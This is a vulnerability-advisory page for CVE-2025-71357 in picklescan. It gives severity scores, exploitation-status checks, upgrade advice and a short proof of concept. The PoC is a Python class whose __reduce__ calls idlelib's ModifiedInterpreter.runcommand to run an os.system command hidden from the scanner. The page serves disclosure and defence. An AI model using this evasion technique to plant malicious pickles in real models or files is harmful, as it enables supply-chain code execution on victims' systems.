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VulnerabilityPublished Updated

CVE-2025-71357: Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand

Affects picklescanSource GCVE Database

0

Not known to be exploited · CVSS 7.6 High : upgrade to 0.0.30 soon.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 4.0 base score
7.6High
How severe the flaw is on the 0–10 CVSS scale.
EPSS
0.3% chance of exploitation in 30 days – higher than 33% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch
Available – fixed in 0.0.30
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 26 Aug 2025

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponised: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

What to do

Upgrade picklescan to 0.0.30.

Affected software

ProductAffectedFixed in
PyPIpicklescanAffected
  • <0.0.30
Fixed in
  • 0.0.30

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

A patch is available for this vulnerability. Users should upgrade Picklescan to version 0.0.30 or later to ensure detection of malicious payloads involving idlelib.pyshell.ModifiedInterpreter.runcommand. Until patched, avoid loading pickle files from untrusted sources even if Picklescan reports them as safe.

Description

### Summary Using idlelib.pyshell.ModifiedInterpreter.runcommand function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcommand function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from idlelib.pyshell import ModifiedInterpreter from types import SimpleNamespace class EvilIdlelibPyshellModifiedInterpreterRuncommand: def __reduce__(self): payload = "__import__('os').system('whoami')" fake_self = SimpleNamespace( locals={}, tkconsole=SimpleNamespace(executing=False), rpcclt=None, debugger=None ) return ModifiedInterpreter.runcommand, (fake_self, payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu

References

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